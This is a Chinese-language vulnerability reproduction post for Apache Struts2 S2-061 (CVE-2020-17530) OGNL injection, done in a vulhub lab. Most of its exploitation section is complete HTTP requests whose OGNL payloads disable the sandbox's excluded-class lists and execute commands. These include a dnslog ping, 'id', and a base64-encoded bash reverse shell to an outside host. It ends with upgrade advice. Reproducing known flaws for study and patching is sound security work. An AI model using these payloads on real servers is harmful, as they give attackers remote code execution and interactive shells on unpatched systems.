Struts2 S2-061(CVE-2020-17530)漏洞复现

小鱼儿 2024-04-07 10:47 67阅读 0赞

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#### **0x00 漏洞简介** ####

Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530)，在使用某些tag等情况下可能存在OGNL表达式注入漏洞，从而造成远程代码执行，风险极大。

#### **0x01 漏洞描述** ####

Struts2 会对某些标签属性(比如 \`id\`，其他属性有待寻找) 的属性值进行二次表达式解析，因此当这些标签属性中使用了 \`%\{x\}\` 且 \`x\` 的值用户可控时，用户再传入一个 \`%\{payload\}\` 即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。

#### **0x02 漏洞影响** ####

struts 2.0.0 - struts 2.5.25

#### **0x03 漏洞复现** ####

**一.环境搭建**

1.docker环境地址：

https://github.com/vulhub/vulhub/tree/master/struts2/s2-061

docker-compose up -d \#启动docker环境

2.访问目标地址

http://192.168.1.14:8080/index.action

二、漏洞利用

1.DNSlog验证漏洞

POST /index.action HTTP/1.1

Host: 192.168.1.14:8080

Accept-Encoding: gzip, deflate

Accept: \*/\*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36

Connection: close

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF

Content-Length: 853

\------WebKitFormBoundaryl7d1B1aGsV2wcZwF

Content-Disposition: form-data; name="id"

%\{(\#instancemanager=\#application\["org.apache.tomcat.InstanceManager"\]).(\#stack=\#attr\["com.opensymphony.xwork2.util.ValueStack.ValueStack"\]).(\#bean=\#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(\#bean.setBean(\#stack)).(\#context=\#bean.get("context")).(\#bean.setBean(\#context)).(\#macc=\#bean.get("memberAccess")).(\#bean.setBean(\#macc)).(\#emptyset=\#instancemanager.newInstance("java.util.HashSet")).(\#bean.put("excludedClasses",\#emptyset)).(\#bean.put("excludedPackageNames",\#emptyset)).(\#arglist=\#instancemanager.newInstance("java.util.ArrayList")).(\#arglist.add("ping paqmgs.dnslog.cn")).(\#execute=\#instancemanager.newInstance("freemarker.template.utility.Execute")).(\#execute.exec(\#arglist))\}

\------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

DNGlog记录可发现命令成功执行

![17c1dcd7848878e2d858cebbc9c4d5d5.png][]

2.通过构造post包执行exp 命令执行id

POST /index.action HTTP/1.1

Host: 192.168.1.14:8080

Accept-Encoding: gzip, deflate

Accept: \*/\*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36

Connection: close

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF

Content-Length: 827

\------WebKitFormBoundaryl7d1B1aGsV2wcZwF

Content-Disposition: form-data; name="id"

%\{(\#instancemanager=\#application\["org.apache.tomcat.InstanceManager"\]).(\#stack=\#attr\["com.opensymphony.xwork2.util.ValueStack.ValueStack"\]).(\#bean=\#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(\#bean.setBean(\#stack)).(\#context=\#bean.get("context")).(\#bean.setBean(\#context)).(\#macc=\#bean.get("memberAccess")).(\#bean.setBean(\#macc)).(\#emptyset=\#instancemanager.newInstance("java.util.HashSet")).(\#bean.put("excludedClasses",\#emptyset)).(\#bean.put("excludedPackageNames",\#emptyset)).(\#arglist=\#instancemanager.newInstance("java.util.ArrayList")).(\#arglist.add("id")).(\#execute=\#instancemanager.newInstance("freemarker.template.utility.Execute")).(\#execute.exec(\#arglist))\}

\------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

burp提交后，在响应页面发现命令回显可，说明ID命令执行成功

![1cc8f5cc06d1f36ddd486af8d59b532b.png][]

或者

POST /index.action HTTP/1.1

Host: 192.168.1.14:8080

Accept-Encoding: gzip, deflate

Accept: \*/\*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36

Connection: close

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF

Content-Length: 1361

\------WebKitFormBoundaryl7d1B1aGsV2wcZwF

Content-Disposition: form-data; name="id"

%\{

(\#request.map=\#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +

(\#request.map.setBean(\#request.get('struts.valueStack')) == true).toString().substring(0,0) +

(\#request.map2=\#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +

(\#request.map2.setBean(\#request.get('map').get('context')) == true).toString().substring(0,0) +

(\#request.map3=\#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +

(\#request.map3.setBean(\#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +

(\#request.get('map3').put('excludedPackageNames',\#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +

(\#request.get('map3').put('excludedClasses',\#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +

(\#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec(\{'id'\}))

\------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

![ce86973cffa3e0aebea0d9f5728f0a11.png][]

3.反弹shell命令

通过以下在线地址将bash反弹命令进行进行编码转换

http://www.jackson-t.ca/runtime-exec-payloads.html

![e6bb1dfa9a96a96bb2aa4489feecb530.png][]

提交以下poc:

POST /index.action HTTP/1.1

Host: 192.168.1.14:8080

Accept-Encoding: gzip, deflate

Accept: \*/\*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36

Connection: close

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF

Content-Length: 922

\------WebKitFormBoundaryl7d1B1aGsV2wcZwF

Content-Disposition: form-data; name="id"

%\{(\#instancemanager=\#application\["org.apache.tomcat.InstanceManager"\]).(\#stack=\#attr\["com.opensymphony.xwork2.util.ValueStack.ValueStack"\]).(\#bean=\#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(\#bean.setBean(\#stack)).(\#context=\#bean.get("context")).(\#bean.setBean(\#context)).(\#macc=\#bean.get("memberAccess")).(\#bean.setBean(\#macc)).(\#emptyset=\#instancemanager.newInstance("java.util.HashSet")).(\#bean.put("excludedClasses",\#emptyset)).(\#bean.put("excludedPackageNames",\#emptyset)).(\#arglist=\#instancemanager.newInstance("java.util.ArrayList")).(\#arglist.add("bash -c \{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTQvMjIyMiAgIDA+JjE=\}|\{base64,-d\}|\{bash,-i\}")).(\#execute=\#instancemanager.newInstance("freemarker.template.utility.Execute")).(\#execute.exec(\#arglist))\}

\------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

![5a56981b89d55f9267f058ec51518cbc.png][]

可以看到成功反弹shell:

![b1df05a0676fd72b6e636b0997f430bb.png][]

#### **0x04 漏洞修复** ####

避免对不受信任的用户输入使用强制OGNL评估，或/和升级到2.5.26版，可修复该漏洞。腾讯安全专家建议受影响的用户将Apache Struts框架升级至最新版本

临时修复，升级到 Struts 2.5.26 版本，下载地址为：

[https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.26][https_cwiki.apache.org_confluence_display_WW_Version_Notes_2.5.26]

#### 0x05 漏洞总结 ####

此次漏洞只是 S2-059 修复的一个绕过，并且本次利用的核心类 org.apache.commons.collections.BeanMap 在 commons-collections-x.x.jar 包中，但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点，但是如果没有使用这个依赖包，也还是没办法进行利用。

[17c1dcd7848878e2d858cebbc9c4d5d5.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/ad8473c5046947f6a0a2f10f9a54d276.png
[1cc8f5cc06d1f36ddd486af8d59b532b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/6d7abe08f8c149c09650496a8aaf9329.png
[ce86973cffa3e0aebea0d9f5728f0a11.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/b5aa15010968405da6e4e2345c2fde56.png
[e6bb1dfa9a96a96bb2aa4489feecb530.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/062515fd7bf64760838da99a36e63b75.png
[5a56981b89d55f9267f058ec51518cbc.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/fac2acdb03004d1c9832d15e63c169d0.png
[b1df05a0676fd72b6e636b0997f430bb.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/29a09a626eec41788a680be766307e47.png
[https_cwiki.apache.org_confluence_display_WW_Version_Notes_2.5.26]: https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.26